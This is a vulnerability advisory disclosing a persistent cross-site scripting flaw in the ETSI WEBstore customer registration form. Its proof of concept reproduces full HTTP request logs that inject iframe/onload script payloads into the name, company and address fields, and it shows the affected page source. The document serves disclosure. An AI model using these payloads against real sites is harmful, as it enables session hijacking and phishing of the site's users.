Headline
ETSI WEBstore 2023 Cross Site Scripting
ETSI WEBstore 2023 suffers from a persistent cross site scripting vulnerability.
Document Title:===============ETSI WEBstore 2023 - Persistent Cross Site VulnerabilityReferences (Source):====================https://www.vulnerability-lab.com/get_content.php?id=2327Release Date:=============2023-07-26Vulnerability Laboratory ID (VL-ID):====================================2327Common Vulnerability Scoring System:====================================4.6Vulnerability Class:====================Cross Site Scripting - PersistentCurrent Estimated Price:========================1.000€ - 2.000€Abstract Advisory Information:==============================The vulnerability laboratory core research team discovered a persistent web vulnerability in the ETSI WebStore web-application.Affected Product(s):====================European Telecommunications Standards Institute (ETSI)Product: WEBstore 2023 - User Management (Web-Application)Vulnerability Disclosure Timeline:==================================2023-07-26: Public Disclosure (Vulnerability Laboratory)Discovery Status:=================PublishedExploitation Technique:=======================RemoteSeverity Level:===============MediumAuthentication Type:====================Restricted Authentication (User Privileges)User Interaction:=================Low User InteractionDisclosure Type:================Independent Security ResearchTechnical Details & Description:================================A persistent input validation web vulnerability has been discovered in the official ETSI Webstore 2023 web-application.The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromisebrowser to web-application requests from the application-side.The vulnerability is located in the all input fields of the NewOrModifyCustomer.asp registration / modify formular.Remote attackers are able to inject own malicious script code with persistent attack vector by an inject in thewrong sanitized input fields. The injection point is the registration or modify formular of the webstore.The execution points are located in the index, listarticle, myprofiles and user backend listing of the webstoreweb-appliation service.Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistentexternal redirects to malicious source and persistent manipulation of affected application modules.Request Methode:[+] POSTVulnerable Inputs:[+] first name[+] last name[+] company name[+] addressAffected Modules:[+] MyProfile[+] ListArticle[+] ShowCustomerProof of Concept (PoC):=======================The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.Manual steps to reproduce the vulnerability ...1. Register an account for the etsi webstore using the registration formular2. Inject script code payloads to the firstname, lastname, companyname and address input fields3. Save the account by submit via post method request4. Confirm the email and logon to the accountNote: After the login the execution takes place in the header were the user data is show as well as in separated websites were adress data is displayed. On preview of the customer in the backend an execution of the malicious payload takes as well place.5. Successful reproduce of the persistent web vulnerability!--- PoC Session Logs (POST) [Inject & Execute] ---https://webstore.etsi.org/ecommerce/ShowHideCustomer.aspHost: webstore.etsi.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 906Origin:https://webstore.etsi.orgConnection: keep-aliveReferer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.aspCookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIKUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1NewOrExisting=NEW&[email protected]&password=cryptoag2&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit-POST: HTTP/2.0 302 Foundcache-control: privatecontent-type: text/htmllocation: Listarticle.asp?list=2server: Microsoft-IIS/10.0x-frame-options: SAMEORIGINcontent-length: 143-https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2Host: webstore.etsi.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflate, brReferer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.aspConnection: keep-aliveCookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIKUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1-POST: HTTP/2.0 200 OKcache-control: privatecontent-type: text/htmlcontent-encoding: gzipvary: Accept-Encodingserver: Microsoft-IIS/10.0set-cookie: list=2; path=/ecommercex-frame-options: SAMEORIGIN-https://webstore.etsi.org/ecommerce/ShowHideCustomer.aspHost: webstore.etsi.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 906Origin:https://webstore.etsi.orgConnection: keep-aliveReferer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.aspCookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIKUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1NewOrExisting=NEW&[email protected]&password=cryptoag3&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit-POST: HTTP/2.0 302 Foundcache-control: privatecontent-type: text/htmllocation: Listarticle.asp?list=2server: Microsoft-IIS/10.0x-frame-options: SAMEORIGINcontent-length: 143-https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2Host: webstore.etsi.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflate, brReferer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.aspConnection: keep-aliveCookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIKUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1-POST: HTTP/2.0 200 OKcache-control: privatecontent-type: text/htmlcontent-encoding: gzipvary: Accept-Encodingserver: Microsoft-IIS/10.0set-cookie: list=2; path=/ecommercex-frame-options: SAMEORIGINVulnerable Source: Profile Header<div id="bloclogin"><div id="identify"><b> B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe> C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe></b><br>A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe></div><input type="button" onclick="window.location.href = '/ecommerce/ChangeExistingCustomer.asp'" value="My profile" id="inputheaderleft"><input type="button" onclick="logout()" value="Logout" id="inputheaderright"></div>Vulnerable Source: MyProfile<tr><td class="formlabel"><label for="Company">Company name</label></td><td class="forminputleft"><input tabindex="1" id="Company" class="inputform" name="Company" placeholder="Company name" value="A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"/></td><td class="formlabel">Client Code </td><td><input type="hidden" name="ClientCode" value=""><input type="hidden" name="ClientCodeCSA3" value=""><input type="hidden" name="ClientCodeCSA3" value=""> </td></tr><tr><td colspan="2"> </td> <td class="formlabel"><label for="Fname">First name <font color="red">*</font></label></td><td class="forminputright"><input id="Fname" tabindex="3" class="inputform" name="Fname" placeholder="First name" value="B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"></td></tr><tr><td class="formlabellong">... </td><td class="formlabel"><label for="Lname">Last name <font color="red">*</font></label></td><td><input id="Lname" tabindex="6" class="inputform" placeholder="Last name" name="Lname" value="C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"></td></tr>References:https://webstore.etsi.org/ecommerce/https://webstore.etsi.org/ecommerce/Listarticle.asphttps://webstore.etsi.org/ecommerce/ShowHideCustomer.asphttps://webstore.etsi.org/ecommerce/NewOrModifyCustomer.aspSecurity Risk:==============The security risk of the persistent vulnerability in the webstore web-application of etsi is estimated as medium.Credits & Authors:==================L. Guenther -https://www.vulnerability-lab.com/show.php?user=L.+GuentherDisclaimer & Information:=========================The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Labor its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profitsor special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states donot allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ;https://www.vulnerability-db.comAny modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of othermedia, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and otherinformation on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use oredit our material contact (admin@ or research@) to get a ask permission. Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™-- VULNERABILITY LABORATORY (VULNERABILITY LAB)RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE